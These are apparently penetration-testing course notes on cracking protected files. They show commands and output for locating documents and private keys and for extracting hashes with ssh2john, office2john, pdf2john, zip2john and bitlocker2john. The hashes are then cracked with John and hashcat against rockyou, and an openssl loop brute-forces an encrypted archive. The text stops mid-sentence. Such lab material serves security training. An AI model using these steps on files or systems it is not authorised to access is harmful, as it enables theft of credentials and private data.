☑️File Cracking

Protected Files

Many different file extensions can identify these types of encrypted/encoded files. For example, a useful list can be found on FileInfo.

cry0l1t3@unixclient:~$ for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

File extension:  .xls

File extension:  .xls*

File extension:  .xltx

File extension:  .csv
/home/cry0l1t3/Docs/client-emails.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/header-label.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/header.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/no-header.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/plus.csv
/home/cry0l1t3/ruby-2.7.3/test/win32ole/orig_data.csv

File extension:  .od*
/home/cry0l1t3/Docs/document-temp.odt
/home/cry0l1t3/Docs/product-improvements.odp
/home/cry0l1t3/Docs/mgmt-spreadsheet.ods
...SNIP...

Cracking SSH

grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"

Most SSH keys we will find nowadays are encrypted. We can recognize this by the header of the SSH key because this shows the encryption method in use.

cry0l1t3@unixclient:~$ cat /home/cry0l1t3/.ssh/SSH.private

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2109D25CC91F8DBFCEB0F7589066B2CC

8Uboy0afrTahejVGmB7kgvxkqJLOczb1I0/hEzPU1leCqhCKBlxYldM2s65jhflD
4/OH4ENhU7qpJ62KlrnZhFX8UwYBmebNDvG12oE7i21hB/9UqZmmHktjD3+OYTsD
...SNIP...

There is a Python script called ssh2john.py for SSH keys, which generates the corresponding hashes for encrypted SSH keys, which we can then store in files.

anonmak9@htb[/htb]$ ssh2john.py SSH.private > ssh.hash
anonmak9@htb[/htb]$ cat ssh.hash 

ssh.private:$sshng$0$8$1C258238FD2D6EB0$2352$f7b...SNIP...

Next, we crack the hash:

anonmak9@htb[/htb]$ john --wordlist=rockyou.txt ssh.hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
1234         (SSH.private)
1g 0:00:00:00 DONE (2022-02-08 03:03) 16.66g/s 1747Kp/s 1747Kc/s 1747KC/s Knightsing..Babying
Session completed

We can view it with --show

anonmak9@htb[/htb]$ john ssh.hash --show

SSH.private:1234

1 password hash cracked, 0 left

Cracking Documents

John provides a Python script called office2john.py to extract hashes from all common Office documents that can then be fed into John or Hashcat for offline cracking. The procedure to crack them remains the same.

DOCs

First we get the corresponding hashes:

anonmak9@htb[/htb]$ office2john.py Protected.docx > protected-docx.hash
anonmak9@htb[/htb]$ cat protected-docx.hash

Protected.docx:$office$*2007*20*128*16*7240...SNIP...8a69cf1*98242f4da37d916305d8e2821360773b7edc481b

Then we crack the hashes

anonmak9@htb[/htb]$ john --wordlist=rockyou.txt protected-docx.hash

Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234             (Protected.docx)
1g 0:00:00:00 DONE (2022-02-08 01:25) 2.083g/s 2266p/s 2266c/s 2266C/s trisha..heart
Use the "--show" option to display all of the cracked passwords reliably
Session completed

anonmak9@htb[/htb]$ john protected-docx.hash --show

Protected.docx:1234

PDFs

anonmak9@htb[/htb]$ pdf2john.py PDF.pdf > pdf.hash
anonmak9@htb[/htb]$ cat pdf.hash 

PDF.pdf:$pdf$2*3*128*-1028*1*16*7e88...SNIP...bd2*32*a72092...SNIP...0000*32*c48f001fdc79a030d718df5dbbdaad81d1f6fedec4a7b5cd980d64139edfcb7e

anonmak9@htb[/htb]$ john --wordlist=rockyou.txt pdf.hash

Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234             (PDF.pdf)
1g 0:00:00:00 DONE (2022-02-08 02:16) 25.00g/s 27200p/s 27200c/s 27200C/s bulldogs..heart
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed

anonmak9@htb[/htb]$ john pdf.hash --show

PDF.pdf:1234

1 password hash cracked, 0 left

Protected Archives

There are many types of archive files. Some common file extensions include, but are not limited to:

tar	gz	rar	zip
vmdb/vmx	cpt	truecrypt	bitlocker
kdbx	luks	deb	7z
pkg	rpm	war	gzip

We can use FileInfo to get all the extentions:

anonmak9@htb[/htb]$ curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt

.mint
.htmi 
.tpsr
.mpkg  
.arduboy
.ice
.sifz 
.fzpz 
.rar     
.comppkg.hauptwerk.rar
...SNIP...

Cracking Zip

anonmak9@htb[/htb]$ zip2john ZIP.zip > zip.hash

ver 2.0 efh 5455 efh 7875 ZIP.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=42, decmplen=30, crc=490E7510

anonmak9@htb[/htb]$ john --wordlist=rockyou.txt zip.hash

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234             (ZIP.zip/customers.csv)
1g 0:00:00:00 DONE (2022-02-09 09:18) 100.0g/s 250600p/s 250600c/s 250600C/s 123456..1478963
Use the "--show" option to display all of the cracked passwords reliably
Session completed

anonmak9@htb[/htb]$ john zip.hash --show

ZIP.zip/customers.csv:1234:customers.csv:ZIP.zip::ZIP.zip

1 password hash cracked, 0 left

Cracking OpenSSL Encrypted Archives

anonmak9@htb[/htb]$ file GZIP.gzip 

GZIP.gzip: openssl enc'd data with salted password

anonmak9@htb[/htb]$ for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now

<SNIP>

If we are successful:

anonmak9@htb[/htb]$ ls

customers.csv  GZIP.gzip  rockyou.txt

Cracking BitLocker Encrypted Drives

Virtual drives are often created in which personal information, notes, and documents are stored on the computer or laptop provided by the company to prevent access to this information by third parties. Again, we can use a script called bitlocker2john to extract the hash we need to crack. Four different hashes will be extracted, which can be used with different Hashcat hash modes. For our example, we will work with the first one, which refers to the BitLocker password.

anonmak9@htb[/htb]$ bitlocker2john -i Backup.vhd > backup.hashes
anonmak9@htb[/htb]$ grep "bitlocker\$0" backup.hashes > backup.hash
anonmak9@htb[/htb]$ cat backup.hash

$bitlocker$0$16$02b329c0453b9273f2fc1b927443b5fe$1048576$12$00b0a67f961dd80103000000$60$d59f37e...SNIP...70696f7eab6b

Both John and Hashcat can be used for this purpose. This example will look at the procedure with Hashcat. The Hashcat mode for cracking BitLocker hashes is -m 22100. So we provide Hashcat with the file with the one hash, specify our password list, and specify the hash mode. Since this is robust encryption (AES), cracking can take some time, depending on the hardware used. Additionally, we can specify the filename in which the result should be stored.

hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked

If we are successsful